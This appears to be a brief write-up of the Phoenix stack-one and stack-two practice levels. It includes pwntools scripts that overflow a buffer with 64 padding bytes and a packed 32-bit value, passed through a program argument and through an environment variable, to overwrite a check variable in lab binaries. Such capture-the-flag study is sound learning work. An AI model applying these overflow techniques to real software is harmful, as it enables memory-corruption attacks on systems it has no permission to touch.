These two are very simple, with only a difference in the way data is read. Similar to zero, there are specific requirements for the overwritten data.
stack-one#
Copy the program's first argument using strcpy to a string.
After running in gdb, directly append the argument to bring it along.
The pwntools sh.run can accept a byte array as an argument, which can include startup parameters. (After checking the documentation, for the run method: Backward compatibility. Use system())
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x496c5962)
sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))
stack-two#
This time, write to an environment variable.
Upon reaching this point, it is noticed that writing "\0" into the environment variable will cause issues. We need to write 32-bit data, so p64 should not be used. If used, it will automatically pad with zeros and then throw an error.
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))